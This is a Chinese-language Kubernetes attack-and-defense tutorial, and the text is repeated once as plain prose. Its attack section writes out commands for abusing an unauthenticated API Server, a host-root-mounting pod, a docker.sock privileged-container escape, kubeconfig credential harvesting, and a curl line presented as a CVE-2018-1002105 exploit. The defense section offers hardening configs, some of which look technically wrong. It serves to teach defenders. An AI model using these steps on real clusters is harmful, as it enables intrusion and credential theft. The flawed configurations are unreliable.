企业云安全中的Kubernetes攻击手法及防御策略
字数 1688 2025-08-29 08:30:18

Kubernetes安全攻防指南:攻击手法与防御策略

一、Kubernetes架构与安全模型

1.1 Kubernetes核心组件

  • API Server:集群入口,处理所有REST请求
  • etcd:分布式键值存储,保存集群配置数据
  • kubelet:节点代理,管理Pod和容器
  • kube-proxy:处理网络代理和负载均衡
  • Controller Manager:维护集群状态(副本数、节点状态等)
  • Scheduler:将Pod调度到合适节点

1.2 Kubernetes安全模型

  • 认证(Authentication)

    • 客户端证书
    • Bearer Token
    • 身份验证代理
  • 授权(Authorization)

    • RBAC(基于角色的访问控制)
    • ABAC(基于属性的访问控制)
  • 准入控制(Admission Control)

    • Pod Security Policies
    • 请求预处理检查
  • 网络策略(Network Policies)

    • 控制Pod间网络通信
    • 定义入口/出口规则

1.3 Kubernetes攻击面

攻击面 具体组件/区域
控制平面 API Server、etcd、Controller Manager、Scheduler
工作节点 kubelet、kube-proxy、容器运行时(Docker/containerd)
网络 Pod间通信、Service暴露、Ingress配置
存储 PersistentVolume、PersistentVolumeClaim、Secrets
供应链 镜像仓库、CI/CD流水线

二、核心攻击手法与示例

2.1 API Server未授权访问

攻击原理

  • 默认端口6443/8080未启用身份验证
  • 旧版本K8s默认开放8080端口且无需认证

攻击步骤

  1. 探测开放的API Server端口:
curl -k https://<IP>:6443/api/v1/namespaces/default/pods
  1. 使用kubectl直接管理集群:
kubectl -s http://<IP>:8080 get nodes  # 列出所有节点
kubectl -s http://<IP>:8080 create -f malicious-pod.yaml  # 创建恶意Pod
  1. 示例恶意Pod(挂载宿主机根目录):
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  containers:
  - name: nginx
    image: nginx
    volumeMounts:
    - mountPath: /host
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /

2.2 Docker Socket挂载逃逸

攻击原理

  • 容器内挂载/var/run/docker.sock
  • 通过Docker API控制宿主机Docker守护进程

攻击步骤

  1. 检查是否挂载docker.sock:
ls /var/run/docker.sock
  1. 安装Docker客户端并与宿主机Docker通信:
apt-get update && apt-get install docker.io
docker -H unix:///var/run/docker.sock ps
  1. 创建特权容器逃逸到宿主机:
docker -H unix:///var/run/docker.sock run -it --privileged --net=host -v /:/host ubuntu bash

2.3 Kubeconfig文件泄露

攻击原理

  • 获取包含认证信息的kubeconfig文件
  • 通常位于~/.kube/config或/etc/kubernetes目录

攻击步骤

  1. 查找kubeconfig文件:
find / -name "kubeconfig" 2>/dev/null
cat ~/.kube/config
  1. 使用泄露的kubeconfig访问集群:
export KUBECONFIG=/path/to/kubeconfig
kubectl get pods --all-namespaces

2.4 历史漏洞利用

CVE-2018-1002105

  • 特权升级漏洞,允许通过API Server建立后端连接
  • 影响版本:Kubernetes v1.0.x-1.9.x, v1.10.0-1.10.10, v1.11.0-1.11.4

利用方法

curl -k -H "Connection: Upgrade" -H "Upgrade: SPDY/3.1" -H "X-Stream-Protocol-Version: v2.example.com" https://<API_SERVER>:6443/api/v1/namespaces/kube-system/pods/<etcd-pod>/exec?command=/bin/sh&input=1&output=1&tty=1

三、防御策略

3.1 认证与授权加固

  1. 禁用匿名访问
apiVersion: v1
kind: ConfigMap
metadata:
  name: kube-apiserver
  namespace: kube-system
data:
  anonymous-auth: "false"
  1. 启用RBAC
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin-binding
subjects:
- kind: User
  name: admin
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
EOF
  1. 最小权限原则
kubectl create role pod-reader --verb=get,list --resource=pods
kubectl create rolebinding pod-reader-binding --role=pod-reader --user=user1

3.2 网络防护

  1. 网络策略示例
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
  1. 限制Pod间通信
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-frontend-backend
spec:
  podSelector:
    matchLabels:
      app: frontend
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: backend

3.3 运行时安全

  1. Pod安全策略
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
  name: restricted
spec:
  privileged: false
  allowPrivilegeEscalation: false
  requiredDropCapabilities:
    - ALL
  volumes:
    - 'configMap'
    - 'emptyDir'
    - 'projected'
    - 'secret'
    - 'downwardAPI'
  hostNetwork: false
  hostIPC: false
  hostPID: false
  runAsUser:
    rule: 'MustRunAsNonRoot'
  seLinux:
    rule: 'RunAsAny'
  supplementalGroups:
    rule: 'MustRunAs'
    ranges:
      - min: 1
        max: 65535
  fsGroup:
    rule: 'MustRunAs'
    ranges:
      - min: 1
        max: 65535
  1. 安全上下文配置
apiVersion: v1
kind: Pod
metadata:
  name: security-context-demo
spec:
  securityContext:
    runAsUser: 1000
    runAsGroup: 3000
    fsGroup: 2000
  containers:
  - name: sec-ctx-demo
    image: busybox
    command: [ "sh", "-c", "sleep 1h" ]
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        drop:
        - ALL

3.4 审计与监控

  1. 启用API Server审计
apiVersion: v1
kind: ConfigMap
metadata:
  name: audit-policy
  namespace: kube-system
data:
  policy: |
    apiVersion: audit.k8s.io/v1
    kind: Policy
    rules:
    - level: Metadata
      resources:
      - group: ""
        resources: ["secrets", "configmaps"]
    - level: RequestResponse
      resources:
      - group: ""
        resources: ["pods"]    
  1. 部署Falco进行运行时监控
helm install falco falcosecurity/falco --set falco.jsonOutput=true

四、最佳实践总结

  1. 控制平面安全

    • 定期更新Kubernetes版本
    • 禁用非安全端口(8080)
    • 启用API Server认证和授权
    • 配置etcd加密
  2. 节点安全

    • 定期更新节点操作系统
    • 限制kubelet权限
    • 使用只读根文件系统
    • 禁用特权容器
  3. 工作负载安全

    • 使用非root用户运行容器
    • 限制容器能力
    • 扫描镜像漏洞
    • 实施网络策略
  4. 持续安全

    • 启用审计日志
    • 监控异常行为
    • 定期进行安全评估
    • 实施自动化安全检查

通过全面实施这些防御策略,可以显著提高Kubernetes集群的安全性,有效抵御常见的攻击手法。

Kubernetes安全攻防指南:攻击手法与防御策略 一、Kubernetes架构与安全模型 1.1 Kubernetes核心组件 API Server :集群入口,处理所有REST请求 etcd :分布式键值存储,保存集群配置数据 kubelet :节点代理,管理Pod和容器 kube-proxy :处理网络代理和负载均衡 Controller Manager :维护集群状态(副本数、节点状态等) Scheduler :将Pod调度到合适节点 1.2 Kubernetes安全模型 认证(Authentication) : 客户端证书 Bearer Token 身份验证代理 授权(Authorization) : RBAC(基于角色的访问控制) ABAC(基于属性的访问控制) 准入控制(Admission Control) : Pod Security Policies 请求预处理检查 网络策略(Network Policies) : 控制Pod间网络通信 定义入口/出口规则 1.3 Kubernetes攻击面 | 攻击面 | 具体组件/区域 | |--------|--------------| | 控制平面 | API Server、etcd、Controller Manager、Scheduler | | 工作节点 | kubelet、kube-proxy、容器运行时(Docker/containerd) | | 网络 | Pod间通信、Service暴露、Ingress配置 | | 存储 | PersistentVolume、PersistentVolumeClaim、Secrets | | 供应链 | 镜像仓库、CI/CD流水线 | 二、核心攻击手法与示例 2.1 API Server未授权访问 攻击原理 : 默认端口6443/8080未启用身份验证 旧版本K8s默认开放8080端口且无需认证 攻击步骤 : 探测开放的API Server端口: 使用kubectl直接管理集群: 示例恶意Pod(挂载宿主机根目录): 2.2 Docker Socket挂载逃逸 攻击原理 : 容器内挂载/var/run/docker.sock 通过Docker API控制宿主机Docker守护进程 攻击步骤 : 检查是否挂载docker.sock: 安装Docker客户端并与宿主机Docker通信: 创建特权容器逃逸到宿主机: 2.3 Kubeconfig文件泄露 攻击原理 : 获取包含认证信息的kubeconfig文件 通常位于~/.kube/config或/etc/kubernetes目录 攻击步骤 : 查找kubeconfig文件: 使用泄露的kubeconfig访问集群: 2.4 历史漏洞利用 CVE-2018-1002105 : 特权升级漏洞,允许通过API Server建立后端连接 影响版本:Kubernetes v1.0.x-1.9.x, v1.10.0-1.10.10, v1.11.0-1.11.4 利用方法 : 三、防御策略 3.1 认证与授权加固 禁用匿名访问 : 启用RBAC : 最小权限原则 : 3.2 网络防护 网络策略示例 : 限制Pod间通信 : 3.3 运行时安全 Pod安全策略 : 安全上下文配置 : 3.4 审计与监控 启用API Server审计 : 部署Falco进行运行时监控 : 四、最佳实践总结 控制平面安全 : 定期更新Kubernetes版本 禁用非安全端口(8080) 启用API Server认证和授权 配置etcd加密 节点安全 : 定期更新节点操作系统 限制kubelet权限 使用只读根文件系统 禁用特权容器 工作负载安全 : 使用非root用户运行容器 限制容器能力 扫描镜像漏洞 实施网络策略 持续安全 : 启用审计日志 监控异常行为 定期进行安全评估 实施自动化安全检查 通过全面实施这些防御策略,可以显著提高Kubernetes集群的安全性,有效抵御常见的攻击手法。